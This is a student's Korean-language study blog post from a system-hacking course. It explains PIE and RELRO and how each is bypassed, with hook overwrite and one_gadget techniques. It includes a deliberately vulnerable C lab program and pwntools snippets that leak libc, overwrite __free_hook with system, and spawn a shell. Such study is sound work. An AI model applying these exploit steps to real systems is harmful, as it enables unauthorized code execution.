EYEN
[빡공팟 4기] 10주차 : PIE, RELRO 및 우회 방법 공부하기 본문
#1 PIE
aslr이 코드영역에도 적용되기 때문에 고정주소가 없어서 코드가젯을 못씀.
1) 자세한 의미
aslr이 적용되면 바이너리가 실행될 때마다 .data .text .bss 등의 영역을 제외한 스택, 힙, 공유 라이브러리 등이 무작위 주소에 매핑된다. 그러나 main함수의 주소는 매번 같다. 그래서 고정된 주소의 코드 가젯을 활용한 ROP를 수행할 수 있다. PIE는 aslr이 코드 영역에도 적용되게 해주는 기술이다.
Position independent Executable(PIE)는 무작위 주소에 매핑돼도 실행 가능한 실행 파일을 뜻한다. aslr의 도입으로 인해 실행파일의 재배치가 필요했고, 호환성 문제로 인해 실행 파일도 무작위 주소에 매핑될 수 있게 하는 대신 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 했다. 재배치가 가능하다는 것은 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미한다. 이런 코드를 position-independent code(PIC)라고 부른다.
pie 해제하려면 컴파일할 때
-fno-pic-no-pie
2) 우회방법
1. PIE베이스, 코드 베이스: 코드 영역의 가젯을 사용하거나 데이터 영역에 접근하기 위해 바이너리가 적재된 주소를 알아내기
- 라이브러리의 베이스 주소를 구할 때처럼 코드영역의 임의 주소를 읽고, 그 주소에서 오프셋 빼기
그 뒤는 return to oriented programming
2. 코드베이스를 구하기 어려울 때 : Partial Overwrite
반환 주소의 일부 바이트만 덮는 공격을 할 수 있다. 코드 영역의 주소도 하위 12비트값은 항상 같다. 그래서 코드 가젯의 주소가 반환 주소와 하위 한 바이트만 다르면 이 값만 덮어서 원하는 코드를 실행 시킬 수 있다.
#2 RELRO(RELocation Read-Only)
데이터 세그먼트 등등 쓰기권한이 불필요한 곳에서 쓰기 권한 제거
1) 자세한 의미
elf는 got를 활용하여 반복되는 라이브러리 함수의 호출 비용을 줄인다. 처음 호출될 때 함수의 주소를 구하고, 이를 got에 적는 lazy binding이라는 방식이 있었다. lazy binding을 하는 바이너리 실행 줄에 got테이블을 업데이트할 수 있어야 하므로 got에 쓰기 권한이 부여된다.
2) partial RELRO
1. 의미
부분적으로 쓰기 권한이 있다.
got와 관련된 섹션이 .got과 .got.plt로 두개가 존재한다. 전역 변수 중에서 실행되는 시점에 바인딩되는 변수는 .got에 위치한다. 바이너리가 실행될 때는 이미 바인딩이 완료되어있으므로 이 영역에 쓰기 권한을 부여하지 않는다. 반면 실행중에 바인딩되는 변수는 .got.plt에 위치한다. 이 영역은 실행 중에 값이 써져야 하므로 쓰기 권한이 부여된다. 부분 리드온리가 적용된 바이너리에서 대부분 함수들의 got엔트리는 .got.plt에 저장된다.
2. 공격방법
.got.plt 영역에 대한 쓰기 권한이 존재하므로 GOT overwrite 공격을 활용할 수 있다.
3) Full RELRO
1. 의미
got에 쓰기 권한이 제거되어 있고 data와 bss에만 쓰기 권한이 있다. 풀 리드온리가 적용되면 바이너리의 로딩 시점에 모두 바인딩된다. 따라서 got에는 쓰기 권한이 부여되지 않는다.
2. 공격방법
라이브러리에 위치한 hook을 이용한다. malloc과 free와 같은 함수를 후킹하여 각 함수가 호출될 때, Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로 공격자가 악의적인 코드를 작성해 실행되게 하는 기법이다.
#3Hook overwrite
1) 의미
이것은 함수 포인터인데, 동적 메모리의 할당과 해제과정에서 발생하는 버그를 디버깅하기 쉽게 하려고 만들어졌다.
Hooking: 어떤 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것
Hook: 원래 실행하려던 코드 대신 실행된 코드
2) Hook의 활용방안
함수에 훅을 심어서 함수의 호출을 모니터링, 함수에 기능을 추가하기, 다른 코드를 심어서 실행 흐름 변조하기
ex) malloc과 free에 hook을 설치하면 소프트웨어에서 할당, 해제하는 메모리를 모니터링할 수 있다. 모든 함수의 도입 부분에 모니터링 함수를 hooking하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수도 있다. 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.
3) 공격 방법
메모리의 동적 할당과 해제를 담당하는 함수에는 malloc, free, realloc이 있고, 각 함수는 libc.so에 구현되어 있다.
확인방법
$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__libc_malloc|__libc_free|__libc_realloc"
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. malloc 함수는 변수의 값이 널이 아닌지 검사하고 아니면 변수가 가리키는 함수를 먼저 실행한다. 이때 malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 훅 변수를 사용한다. 헤더 정보를 참고하면 libc.so의 bss 섹션에 포함됨을 알 수 있다.
확인방법
$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다. 또 훅을 실행 할 때 기존 malloc 함수에 전달한 인자를 같이 전달해 주기 때문에 malloc hook을 system 함수의 주소로 덮고 malloc(/bin/sh)를 호출하여 셸을 획득하는 공격이 가능하다.
4)공격 실습
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow"); //스택 버퍼 오버플로우가 발생
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write"); //주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free"); //주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
1. libc.so에 정의되어 있는 _free_hook, system 함수, "/bin/sh"문자열의 매핑된 주소를 구해야 실제 주소를 계산할 수 있다. 스택의 main함수가 __libc_start_main이라는 라이브러리 함수를 호출하기 때문에 스택에 libc의 주소가 있을 가능성이 높다. 그래서 main함수에서 반환주소를 읽어서 주소를 계산할 수 있다.
1번
libc_start_main을 읽고 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있다.그 오프셋을 이용해 libc의 매핑 주소를 계산한다.
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
//각 심볼에 립씨와의 오프셋을 더해서 실제 주소를 구한다
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
2. _free_hook의 값을 적는 곳에 system함수의 주소로 덮어써서 나중에 addr를 해제할 때 /bin/sh를 해제하게 하면 system("/bin/sh")를 호출할 수 있어 쉘을 딸 수 있다.
p.recvuntil("To write: ")
p.sendline(str(free_hook))//free_hook함수의 주소 입력
p.recvuntil("With: ")
p.sendline(str(system))//system함수의 주소 입력
p.recvuntil("To free: ")
p.sendline(str(binsh))//binsh 주소 입력해서 system함수 실행
#4 docker
도커는 리눅스 상에서 컨테이너 방식으로 프로세스를 격리해서 실행하고 관리할 수 있도록 도우며, 계층화된 파일 시스템에 기반해 효율적으로 프로세스 실행환경을 구축하게 해준다. 여기서 프로세스 실행 환경을 이미지라고 한다. 도커를 사용하면 이미지를 기반으로 컨테이너를 실행할 수 있으며, 다시 특정 컨테이너의 상태를 변경해 이미지로 만들 수 있다.
도커를 활용하면 운영체제 별로 존재하는 복잡한 설치 과정 필요없이 같은 명령어를 사용해서 실행할 수 있다.
github랑 비슷한 느낌인 것 같다. 도커의 이미지는 가상머신 이미지와 비슷한데 가상머신의 이미지는 매우 큰 편이고 파일 시스템을 비롯해 이미지를 만드는 시점의 메모리 내용과 그 외에 시스템구성을 위한 정보를 포함하고 있다. 도커의 이미지는 그냥 순수파일들의 집합이다.
~/p4c$ sudo docker build --tag p4c .
docker pull httpd
docker run --name p4c -p 30000:80 httpd
#5 one_gadget
one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용된다. 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황에 “/bin/sh”를 인자로 전달하기는 어렵다. 그래서 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있다.
og = libc_base+0x4f3c2
p.sendline(str(system))->p.sendline(str(og))
https://github.com/david942j/one_gadget
https://dreamhack.io/lecture/courses/99
https://hwanlee.tistory.com/18
https://www.44bits.io/ko/post/easy-deploy-with-docker
'대외활동 및 팀플 > 빡공팟(P4C) 시스템 해킹 트랙 4기' 카테고리의 다른 글
[빡공팟 4기] 12주차: 실제 취약점 케이스 스터디 (0) | 2022.07.10 |
---|---|
[빡공팟 4기] 11주차: UAF, Double Free Bug, Type Confusion 취약점 및 공격 기법 (How2heap, Heap (0) | 2022.07.03 |
[빡공팟 4기] 6주차 과제: 어셈블리어로 구구단 구현하기/c로 더블 링크드 리스트 구현하기 (0) | 2022.05.29 |
[빡공팟 4기]6주차 과제: 제공된 파일 한장으로 요약 (0) | 2022.05.25 |
[빡공팟 4기] 4~5주차:c로 http 서버 만들기 (0) | 2022.05.22 |